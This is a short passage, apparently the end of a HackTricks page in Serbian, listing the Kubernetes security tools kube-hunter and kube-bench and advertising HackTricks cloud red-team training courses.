GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks